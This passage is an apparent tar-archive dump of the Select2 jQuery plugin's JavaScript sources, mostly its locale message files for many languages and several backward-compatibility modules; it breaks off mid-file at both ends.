maximumSelected: function (args) { var message = 'Chỉ có thể chọn được ' + args.maximum + ' lựa chọn'; return message; }, noResults: function () { return 'Không tìm thấy kết quả'; }, searching: function () { return 'Đang tìm…'; } }; }); select2/i18n/es.js000064400000002360151701463440007637 0ustar00define(function () { // Spanish return { errorLoading: function () { return 'No se pudieron cargar los resultados'; }, inputTooLong: function (args) { var remainingChars = args.input.length - args.maximum; var message = 'Por favor, elimine ' + remainingChars + ' car'; if (remainingChars == 1) { message += 'ácter'; } else { message += 'acteres'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Por favor, introduzca ' + remainingChars + ' car'; if (remainingChars == 1) { message += 'ácter'; } else { message += 'acteres'; } return message; }, loadingMore: function () { return 'Cargando más resultados…'; }, maximumSelected: function (args) { var message = 'Sólo puede seleccionar ' + args.maximum + ' elemento'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No se encontraron resultados'; }, searching: function () { return 'Buscando…'; } }; }); select2/i18n/hu.js000064400000001534151701463440007646 0ustar00define(function () { // Hungarian return { errorLoading: function () { return 'Az eredmények betöltése nem sikerült.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Túl hosszú. ' + overChars + ' karakterrel több, mint kellene.'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Túl rövid. Még ' + remainingChars + ' karakter hiányzik.'; }, loadingMore: function () { return 'Töltés…'; }, maximumSelected: function (args) { return 'Csak ' + args.maximum + ' elemet lehet kiválasztani.'; }, noResults: function () { return 'Nincs találat.'; }, searching: function () { return 'Keresés…'; } }; }); select2/i18n/ca.js000064400000002322151701463450007612 0ustar00define(function () { // Catalan return { errorLoading: function () { return 'La càrrega ha fallat'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Si us plau, elimina ' + overChars + ' car'; if (overChars == 1) { message += 'àcter'; } else { message += 'àcters'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Si us plau, introdueix ' + remainingChars + ' car'; if (remainingChars == 1) { message += 'àcter'; } else { message += 'àcters'; } return message; }, loadingMore: function () { return 'Carregant més resultats…'; }, maximumSelected: function (args) { var message = 'Només es pot seleccionar ' + args.maximum + ' element'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No s\'han trobat resultats'; }, searching: function () { return 'Cercant…'; } }; }); select2/i18n/pt-BR.js000064400000002150151701463450010152 0ustar00define(function () { // Brazilian Portuguese return { errorLoading: function () { return 'Os resultados não puderam ser carregados.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Apague ' + overChars + ' caracter'; if (overChars != 1) { message += 'es'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Digite ' + remainingChars + ' ou mais caracteres'; return message; }, loadingMore: function () { return 'Carregando mais resultados…'; }, maximumSelected: function (args) { var message = 'Você só pode selecionar ' + args.maximum + ' ite'; if (args.maximum == 1) { message += 'm'; } else { message += 'ns'; } return message; }, noResults: function () { return 'Nenhum resultado encontrado'; }, searching: function () { return 'Buscando…'; } }; }); select2/i18n/hr.js000064400000002062151701463450007641 0ustar00define(function () { // Croatian function character (n) { var message = ' ' + n + ' znak'; if (n % 10 < 5 && n % 10 > 0 && (n % 100 < 5 || n % 100 > 19)) { if (n % 10 > 1) { message += 'a'; } } else { message += 'ova'; } return message; } return { errorLoading: function () { return 'Preuzimanje nije uspjelo.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Unesite ' + character(overChars); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Unesite još ' + character(remainingChars); }, loadingMore: function () { return 'Učitavanje rezultata…'; }, maximumSelected: function (args) { return 'Maksimalan broj odabranih stavki je ' + args.maximum; }, noResults: function () { return 'Nema rezultata'; }, searching: function () { return 'Pretraga…'; } }; }); select2/i18n/th.js000064400000002232151701463450007642 0ustar00define(function () { // Thai return { errorLoading: function () { return 'ไม่สามารถค้นข้อมูลได้'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'โปรดลบออก ' + overChars + ' ตัวอักษร'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'โปรดพิมพ์เพิ่มอีก ' + remainingChars + ' ตัวอักษร'; return message; }, loadingMore: function () { return 'กำลังค้นข้อมูลเพิ่ม…'; }, maximumSelected: function (args) { var message = 'คุณสามารถเลือกได้ไม่เกิน ' + args.maximum + ' รายการ'; return message; }, noResults: function () { return 'ไม่พบข้อมูล'; }, searching: function () { return 'กำลังค้นข้อมูล…'; } }; }); select2/i18n/en.js000064400000002037151701463450007634 0ustar00define(function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); select2/i18n/el.js000064400000002667151701463450007643 0ustar00define(function () { // Greek (el) return { errorLoading: function () { return 'Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Παρακαλώ διαγράψτε ' + overChars + ' χαρακτήρ'; if (overChars == 1) { message += 'α'; } if (overChars != 1) { message += 'ες'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Παρακαλώ συμπληρώστε ' + remainingChars + ' ή περισσότερους χαρακτήρες'; return message; }, loadingMore: function () { return 'Φόρτωση περισσότερων αποτελεσμάτων…'; }, maximumSelected: function (args) { var message = 'Μπορείτε να επιλέξετε μόνο ' + args.maximum + ' επιλογ'; if (args.maximum == 1) { message += 'ή'; } if (args.maximum != 1) { message += 'ές'; } return message; }, noResults: function () { return 'Δεν βρέθηκαν αποτελέσματα'; }, searching: function () { return 'Αναζήτηση…'; } }; });select2/i18n/sv.js000064400000001654151701463450007666 0ustar00define(function () { // Swedish return { errorLoading: function () { return 'Resultat kunde inte laddas.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vänligen sudda ut ' + overChars + ' tecken'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vänligen skriv in ' + remainingChars + ' eller fler tecken'; return message; }, loadingMore: function () { return 'Laddar fler resultat…'; }, maximumSelected: function (args) { var message = 'Du kan max välja ' + args.maximum + ' element'; return message; }, noResults: function () { return 'Inga träffar'; }, searching: function () { return 'Söker…'; } }; }); select2/i18n/pl.js000064400000002464151701463450007651 0ustar00define(function () { // Polish var charsWords = ['znak', 'znaki', 'znaków']; var itemsWords = ['element', 'elementy', 'elementów']; var pluralWord = function pluralWord(numberOfChars, words) { if (numberOfChars === 1) { return words[0]; } else if (numberOfChars > 1 && numberOfChars <= 4) { return words[1]; } else if (numberOfChars >= 5) { return words[2]; } }; return { errorLoading: function () { return 'Nie można załadować wyników.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Usuń ' + overChars + ' ' + pluralWord(overChars, charsWords); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Podaj przynajmniej ' + remainingChars + ' ' + pluralWord(remainingChars, charsWords); }, loadingMore: function () { return 'Trwa ładowanie…'; }, maximumSelected: function (args) { return 'Możesz zaznaczyć tylko ' + args.maximum + ' ' + pluralWord(args.maximum, itemsWords); }, noResults: function () { return 'Brak wyników'; }, searching: function () { return 'Trwa wyszukiwanie…'; } }; }); select2/i18n/sl.js000064400000002450151701463450007647 0ustar00define(function () { // Slovene return { errorLoading: function () { return 'Zadetkov iskanja ni bilo mogoče naložiti.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Prosim zbrišite ' + overChars + ' znak'; if (overChars == 2) { message += 'a'; } else if (overChars != 1) { message += 'e'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Prosim vpišite še ' + remainingChars + ' znak'; if (remainingChars == 2) { message += 'a'; } else if (remainingChars != 1) { message += 'e'; } return message; }, loadingMore: function () { return 'Nalagam več zadetkov…'; }, maximumSelected: function (args) { var message = 'Označite lahko največ ' + args.maximum + ' predmet'; if (args.maximum == 2) { message += 'a'; } else if (args.maximum != 1) { message += 'e'; } return message; }, noResults: function () { return 'Ni zadetkov.'; }, searching: function () { return 'Iščem…'; } }; }); select2/i18n/zh-TW.js000064400000001473151701463450010206 0ustar00define(function () { // Chinese (Traditional) return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = '請刪掉' + overChars + '個字元'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '請再輸入' + remainingChars + '個字元'; return message; }, loadingMore: function () { return '載入中…'; }, maximumSelected: function (args) { var message = '你只能選擇最多' + args.maximum + '項'; return message; }, noResults: function () { return '沒有找到相符的項目'; }, searching: function () { return '搜尋中…'; } }; }); select2/i18n/pt.js000064400000002047151701463450007656 0ustar00define(function () { // European Portuguese return { errorLoading: function () { return 'Os resultados não puderam ser carregados.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Por favor apague ' + overChars + ' '; message += overChars != 1 ? 'caracteres' : 'caractere'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Introduza ' + remainingChars + ' ou mais caracteres'; return message; }, loadingMore: function () { return 'A carregar mais resultados…'; }, maximumSelected: function (args) { var message = 'Apenas pode seleccionar ' + args.maximum + ' '; message += args.maximum != 1 ? 'itens' : 'item'; return message; }, noResults: function () { return 'Sem resultados'; }, searching: function () { return 'A procurar…'; } }; }); select2/i18n/it.js000064400000002230151701463450007641 0ustar00define(function () { // Italian return { errorLoading: function () { return 'I risultati non possono essere caricati.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Per favore cancella ' + overChars + ' caratter'; if (overChars !== 1) { message += 'i'; } else { message += 'e'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Per favore inserisci ' +remainingChars+ ' o più caratteri'; return message; }, loadingMore: function () { return 'Caricando più risultati…'; }, maximumSelected: function (args) { var message = 'Puoi selezionare solo ' + args.maximum + ' element'; if (args.maximum !== 1) { message += 'i'; } else { message += 'o'; } return message; }, noResults: function () { return 'Nessun risultato trovato'; }, searching: function () { return 'Sto cercando…'; } }; }); select2/i18n/id.js000064400000001453151701463450007627 0ustar00define(function () { // Indonesian return { errorLoading: function () { return 'Data tidak boleh diambil.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Hapuskan ' + overChars + ' huruf'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Masukkan ' + remainingChars + ' huruf lagi'; }, loadingMore: function () { return 'Mengambil data…'; }, maximumSelected: function (args) { return 'Anda hanya dapat memilih ' + args.maximum + ' pilihan'; }, noResults: function () { return 'Tidak ada data yang sesuai'; }, searching: function () { return 'Mencari…'; } }; }); select2/i18n/af.js000064400000002062151701463450007616 0ustar00define(function () { // English return { errorLoading: function () { return 'Die resultate kon nie gelaai word nie.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Verwyders asseblief ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Voer asseblief ' + remainingChars + ' of meer karakters'; return message; }, loadingMore: function () { return 'Meer resultate word gelaai…'; }, maximumSelected: function (args) { var message = 'Kies asseblief net ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'Geen resultate gevind'; }, searching: function () { return 'Besig…'; } }; }); select2/i18n/ro.js000064400000002212151701463450007645 0ustar00define(function () { // Romanian return { errorLoading: function () { return 'Rezultatele nu au putut fi incărcate.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vă rugăm să ștergeți' + overChars + ' caracter'; if (overChars !== 1) { message += 'e'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vă rugăm să introduceți ' + remainingChars + ' sau mai multe caractere'; return message; }, loadingMore: function () { return 'Se încarcă mai multe rezultate…'; }, maximumSelected: function (args) { var message = 'Aveți voie să selectați cel mult ' + args.maximum; message += ' element'; if (args.maximum !== 1) { message += 'e'; } return message; }, noResults: function () { return 'Nu au fost găsite rezultate'; }, searching: function () { return 'Căutare…'; } }; }); select2/i18n/mk.js000064400000002337151701463450007644 0ustar00define(function () { // Macedonian return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Ве молиме внесете ' + args.maximum + ' помалку карактер'; if (args.maximum !== 1) { message += 'и'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ве молиме внесете уште ' + args.maximum + ' карактер'; if (args.maximum !== 1) { message += 'и'; } return message; }, loadingMore: function () { return 'Вчитување резултати…'; }, maximumSelected: function (args) { var message = 'Можете да изберете само ' + args.maximum + ' ставк'; if (args.maximum === 1) { message += 'а'; } else { message += 'и'; } return message; }, noResults: function () { return 'Нема пронајдено совпаѓања'; }, searching: function () { return 'Пребарување…'; } }; }); select2/i18n/fi.js000064400000001506151701463450007630 0ustar00define(function () { // Finnish return { errorLoading: function () { return 'Tuloksia ei saatu ladattua.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Ole hyvä ja anna ' + overChars + ' merkkiä vähemmän'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Ole hyvä ja anna ' + remainingChars + ' merkkiä lisää'; }, loadingMore: function () { return 'Ladataan lisää tuloksia…'; }, maximumSelected: function (args) { return 'Voit valita ainoastaan ' + args.maximum + ' kpl'; }, noResults: function () { return 'Ei tuloksia'; }, searching: function () { return 'Haetaan…'; } }; }); select2/i18n/gl.js000064400000002100151701463450007623 0ustar00define(function () { // Galician return { errorLoading: function () { return 'Non foi posíbel cargar os resultados.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; if (overChars === 1) { return 'Elimine un carácter'; } return 'Elimine ' + overChars + ' caracteres'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; if (remainingChars === 1) { return 'Engada un carácter'; } return 'Engada ' + remainingChars + ' caracteres'; }, loadingMore: function () { return 'Cargando máis resultados…'; }, maximumSelected: function (args) { if (args.maximum === 1) { return 'Só pode seleccionar un elemento'; } return 'Só pode seleccionar ' + args.maximum + ' elementos'; }, noResults: function () { return 'Non se atoparon resultados'; }, searching: function () { return 'Buscando…'; } }; });select2/i18n/sk.js000064400000003570151701463450007652 0ustar00define(function () { // Slovak // use text for the numbers 2 through 4 var smallNumbers = { 2: function (masc) { return (masc ? 'dva' : 'dve'); }, 3: function () { return 'tri'; }, 4: function () { return 'štyri'; } }; return { errorLoading: function () { return 'Výsledky sa nepodarilo načítať.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; if (overChars == 1) { return 'Prosím, zadajte o jeden znak menej'; } else if (overChars >= 2 && overChars <= 4) { return 'Prosím, zadajte o ' + smallNumbers[overChars](true) + ' znaky menej'; } else { return 'Prosím, zadajte o ' + overChars + ' znakov menej'; } }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; if (remainingChars == 1) { return 'Prosím, zadajte ešte jeden znak'; } else if (remainingChars <= 4) { return 'Prosím, zadajte ešte ďalšie ' + smallNumbers[remainingChars](true) + ' znaky'; } else { return 'Prosím, zadajte ešte ďalších ' + remainingChars + ' znakov'; } }, loadingMore: function () { return 'Načítanie ďalších výsledkov…'; }, maximumSelected: function (args) { if (args.maximum == 1) { return 'Môžete zvoliť len jednu položku'; } else if (args.maximum >= 2 && args.maximum <= 4) { return 'Môžete zvoliť najviac ' + smallNumbers[args.maximum](false) + ' položky'; } else { return 'Môžete zvoliť najviac ' + args.maximum + ' položiek'; } }, noResults: function () { return 'Nenašli sa žiadne položky'; }, searching: function () { return 'Vyhľadávanie…'; } }; }); select2/i18n/da.js000064400000001641151701463450007616 0ustar00define(function () { // Danish return { errorLoading: function () { return 'Resultaterne kunne ikke indlæses.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Angiv venligst ' + overChars + ' tegn mindre'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Angiv venligst ' + remainingChars + ' tegn mere'; }, loadingMore: function () { return 'Indlæser flere resultater…'; }, maximumSelected: function (args) { var message = 'Du kan kun vælge ' + args.maximum + ' emne'; if (args.maximum != 1) { message += 'r'; } return message; }, noResults: function () { return 'Ingen resultater fundet'; }, searching: function () { return 'Søger…'; } }; });select2/i18n/ru.js000064400000003061151701463450007656 0ustar00define(function () { // Russian function ending (count, one, couple, more) { if (count % 10 < 5 && count % 10 > 0 && count % 100 < 5 || count % 100 > 20) { if (count % 10 > 1) { return couple; } } else { return more; } return one; } return { errorLoading: function () { return 'Невозможно загрузить результаты'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Пожалуйста, введите на ' + overChars + ' символ'; message += ending(overChars, '', 'a', 'ов'); message += ' меньше'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Пожалуйста, введите еще хотя бы ' + remainingChars + ' символ'; message += ending(remainingChars, '', 'a', 'ов'); return message; }, loadingMore: function () { return 'Загрузка данных…'; }, maximumSelected: function (args) { var message = 'Вы можете выбрать не более ' + args.maximum + ' элемент'; message += ending(args.maximum, '', 'a', 'ов'); return message; }, noResults: function () { return 'Совпадений не найдено'; }, searching: function () { return 'Поиск…'; } }; }); select2/i18n/zh-CN.js000064400000001620151701463450010146 0ustar00define(function () { // Chinese (Simplified) return { errorLoading: function () { return '无法载入结果。'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = '请删除' + overChars + '个字符'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '请再输入至少' + remainingChars + '个字符'; return message; }, loadingMore: function () { return '载入更多结果…'; }, maximumSelected: function (args) { var message = '最多只能选择' + args.maximum + '个项目'; return message; }, noResults: function () { return '未找到结果'; }, searching: function () { return '搜索中…'; } }; }); select2/i18n/dsb.js000064400000002713151701463450010003 0ustar00define(function () { // Lower Sorbian var charsWords = ['znamuško', 'znamušce', 'znamuška','znamuškow']; var itemsWords = ['zapisk', 'zapiska', 'zapiski','zapiskow']; var pluralWord = function pluralWord(numberOfChars, words) { if (numberOfChars === 1) { return words[0]; } else if (numberOfChars === 2) { return words[1]; } else if (numberOfChars > 2 && numberOfChars <= 4) { return words[2]; } else if (numberOfChars >= 5) { return words[3]; } }; return { errorLoading: function () { return 'Wuslědki njejsu se dali zacytaś.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Pšosym lašuj ' + overChars + ' ' + pluralWord(overChars, charsWords); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Pšosym zapódaj nanejmjenjej ' + remainingChars + ' ' + pluralWord(remainingChars, charsWords); }, loadingMore: function () { return 'Dalšne wuslědki se zacytaju…'; }, maximumSelected: function (args) { return 'Móžoš jano ' + args.maximum + ' ' + pluralWord(args.maximum, itemsWords) + 'wubraś.'; }, noResults: function () { return 'Žedne wuslědki namakane'; }, searching: function () { return 'Pyta se…'; } }; }); select2/i18n/ko.js000064400000001732151701463450007644 0ustar00define(function () { // Korean return { errorLoading: function () { return '결과를 불러올 수 없습니다.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = '너무 깁니다. ' + overChars + ' 글자 지워주세요.'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '너무 짧습니다. ' + remainingChars + ' 글자 더 입력해주세요.'; return message; }, loadingMore: function () { return '불러오는 중…'; }, maximumSelected: function (args) { var message = '최대 ' + args.maximum + '개까지만 선택 가능합니다.'; return message; }, noResults: function () { return '결과가 없습니다.'; }, searching: function () { return '검색 중…'; } }; }); select2/i18n/uk.js000064400000002606151701463450007653 0ustar00define(function () { // Ukranian function ending (count, one, couple, more) { if (count % 100 > 10 && count % 100 < 15) { return more; } if (count % 10 === 1) { return one; } if (count % 10 > 1 && count % 10 < 5) { return couple; } return more; } return { errorLoading: function () { return 'Неможливо завантажити результати'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Будь ласка, видаліть ' + overChars + ' ' + ending(args.maximum, 'літеру', 'літери', 'літер'); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Будь ласка, введіть ' + remainingChars + ' або більше літер'; }, loadingMore: function () { return 'Завантаження інших результатів…'; }, maximumSelected: function (args) { return 'Ви можете вибрати лише ' + args.maximum + ' ' + ending(args.maximum, 'пункт', 'пункти', 'пунктів'); }, noResults: function () { return 'Нічого не знайдено'; }, searching: function () { return 'Пошук…'; } }; }); select2/i18n/hi.js000064400000002441151701463450007631 0ustar00define(function () { // Hindi return { errorLoading: function () { return 'परिणामों को लोड नहीं किया जा सका।'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' अक्षर को हटा दें'; if (overChars > 1) { message = overChars + ' अक्षरों को हटा दें '; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'कृपया ' + remainingChars + ' या अधिक अक्षर दर्ज करें'; return message; }, loadingMore: function () { return 'अधिक परिणाम लोड हो रहे है...'; }, maximumSelected: function (args) { var message = 'आप केवल ' + args.maximum + ' आइटम का चयन कर सकते हैं'; return message; }, noResults: function () { return 'कोई परिणाम नहीं मिला'; }, searching: function () { return 'खोज रहा है...'; } }; }); select2/i18n/km.js000064400000002254151701463450007642 0ustar00define(function () { // Khmer return { errorLoading: function () { return 'មិនអាចទាញយកទិន្នន័យ'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'សូមលុបចេញ ' + overChars + ' អក្សរ'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'សូមបញ្ចូល' + remainingChars + ' អក្សរ រឺ ច្រើនជាងនេះ'; return message; }, loadingMore: function () { return 'កំពុងទាញយកទិន្នន័យបន្ថែម...'; }, maximumSelected: function (args) { var message = 'អ្នកអាចជ្រើសរើសបានតែ ' + args.maximum + ' ជម្រើសប៉ុណ្ណោះ'; return message; }, noResults: function () { return 'មិនមានលទ្ធផល'; }, searching: function () { return 'កំពុងស្វែងរក...'; } }; }); select2/i18n/lt.js000064400000002626151701463450007655 0ustar00define(function () { // rules from // http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#lt function ending(count, one, few, other) { if (count % 10 === 1 && (count % 100 < 11 || count % 100 > 19)) { return one; } else if ( (count % 10 >= 2 && count % 10 <= 9) && (count % 100 < 11 || count % 100 > 19)) { return few; } else { return other; } } return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Pašalinkite ' + overChars + ' simbol'; message += ending(overChars, 'į', 'ius', 'ių'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Įrašykite dar ' + remainingChars + ' simbol'; message += ending(remainingChars, 'į', 'ius', 'ių'); return message; }, loadingMore: function () { return 'Kraunama daugiau rezultatų…'; }, maximumSelected: function (args) { var message = 'Jūs galite pasirinkti tik ' + args.maximum + ' element'; message += ending(args.maximum, 'ą', 'us', 'ų'); return message; }, noResults: function () { return 'Atitikmenų nerasta'; }, searching: function () { return 'Ieškoma…'; } }; }); select2/i18n/tr.js000064400000001607151701463450007661 0ustar00define(function () { // Turkish return { errorLoading: function (){ return 'Sonuç yüklenemedi'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' karakter daha girmelisiniz'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'En az ' + remainingChars + ' karakter daha girmelisiniz'; return message; }, loadingMore: function () { return 'Daha fazla…'; }, maximumSelected: function (args) { var message = 'Sadece ' + args.maximum + ' seçim yapabilirsiniz'; return message; }, noResults: function () { return 'Sonuç bulunamadı'; }, searching: function () { return 'Aranıyor…'; } }; }); select2/i18n/az.js000064400000001332151701463450007641 0ustar00define(function () { // Azerbaijani return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return overChars + ' simvol silin'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return remainingChars + ' simvol daxil edin'; }, loadingMore: function () { return 'Daha çox nəticə yüklənir…'; }, maximumSelected: function (args) { return 'Sadəcə ' + args.maximum + ' element seçə bilərsiniz'; }, noResults: function () { return 'Nəticə tapılmadı'; }, searching: function () { return 'Axtarılır…'; } }; }); select2/compat/utils.js000064400000001766151701463450011106 0ustar00define([ 'jquery' ], function ($) { function syncCssClasses ($dest, $src, adapter) { var classes, replacements = [], adapted; classes = $.trim($dest.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Save all Select2 classes if (this.indexOf('select2-') === 0) { replacements.push(this); } }); } classes = $.trim($src.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Only adapt non-Select2 classes if (this.indexOf('select2-') !== 0) { adapted = adapter(this); if (adapted != null) { replacements.push(adapted); } } }); } $dest.attr('class', replacements.join(' ')); } return { syncCssClasses: syncCssClasses }; }); select2/compat/matcher.js000064400000001745151701463450011366 0ustar00define([ 'jquery' ], function ($) { function oldMatcher (matcher) { function wrappedMatcher (params, data) { var match = $.extend(true, {}, data); if (params.term == null || $.trim(params.term) === '') { return match; } if (data.children) { for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; // Check if the child object matches // The old matcher returned a boolean true or false var doesMatch = matcher(params.term, child.text, child); // If the child didn't match, pop it off if (!doesMatch) { match.children.splice(c, 1); } } if (match.children.length > 0) { return match; } } if (matcher(params.term, data.text, data)) { return match; } return null; } return wrappedMatcher; } return oldMatcher; }); select2/compat/containerCss.js000064400000002747151701463450012401 0ustar00define([ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _containerAdapter (clazz) { return null; } function ContainerCSS () { } ContainerCSS.prototype.render = function (decorated) { var $container = decorated.call(this); var containerCssClass = this.options.get('containerCssClass') || ''; if ($.isFunction(containerCssClass)) { containerCssClass = containerCssClass(this.$element); } var containerCssAdapter = this.options.get('adaptContainerCssClass'); containerCssAdapter = containerCssAdapter || _containerAdapter; if (containerCssClass.indexOf(':all:') !== -1) { containerCssClass = containerCssClass.replace(':all:', ''); var _cssAdapter = containerCssAdapter; containerCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var containerCss = this.options.get('containerCss') || {}; if ($.isFunction(containerCss)) { containerCss = containerCss(this.$element); } CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter); $container.css(containerCss); $container.addClass(containerCssClass); return $container; }; return ContainerCSS; }); select2/compat/initSelection.js000064400000002213151701463450012543 0ustar00define([ 'jquery' ], function ($) { function InitSelection (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `initSelection` option has been deprecated in favor' + ' of a custom data adapter that overrides the `current` method. ' + 'This method is now called multiple times instead of a single ' + 'time when the instance is initialized. Support will be removed ' + 'for the `initSelection` option in future versions of Select2' ); } this.initSelection = options.get('initSelection'); this._isInitialized = false; decorated.call(this, $element, options); } InitSelection.prototype.current = function (decorated, callback) { var self = this; if (this._isInitialized) { decorated.call(this, callback); return; } this.initSelection.call(null, this.$element, function (data) { self._isInitialized = true; if (!$.isArray(data)) { data = [data]; } callback(data); }); }; return InitSelection; }); select2/compat/query.js000064400000001263151701463450011103 0ustar00define([ ], function () { function Query (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `query` option has been deprecated in favor of a ' + 'custom data adapter that overrides the `query` method. Support ' + 'will be removed for the `query` option in future versions of ' + 'Select2.' ); } decorated.call(this, $element, options); } Query.prototype.query = function (_, params, callback) { params.callback = callback; var query = this.options.get('query'); query.call(null, params); }; return Query; }); select2/compat/dropdownCss.js000064400000002707151701463450012247 0ustar00define([ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _dropdownAdapter (clazz) { return null; } function DropdownCSS () { } DropdownCSS.prototype.render = function (decorated) { var $dropdown = decorated.call(this); var dropdownCssClass = this.options.get('dropdownCssClass') || ''; if ($.isFunction(dropdownCssClass)) { dropdownCssClass = dropdownCssClass(this.$element); } var dropdownCssAdapter = this.options.get('adaptDropdownCssClass'); dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter; if (dropdownCssClass.indexOf(':all:') !== -1) { dropdownCssClass = dropdownCssClass.replace(':all:', ''); var _cssAdapter = dropdownCssAdapter; dropdownCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var dropdownCss = this.options.get('dropdownCss') || {}; if ($.isFunction(dropdownCss)) { dropdownCss = dropdownCss(this.$element); } CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter); $dropdown.css(dropdownCss); $dropdown.addClass(dropdownCssClass); return $dropdown; }; return DropdownCSS; }); select2/compat/inputData.js000064400000006051151701463450011667 0ustar00define([ 'jquery', '../utils' ], function ($, Utils) { function InputData (decorated, $element, options) { this._currentData = []; this._valueSeparator = options.get('valueSeparator') || ','; if ($element.prop('type') === 'hidden') { if 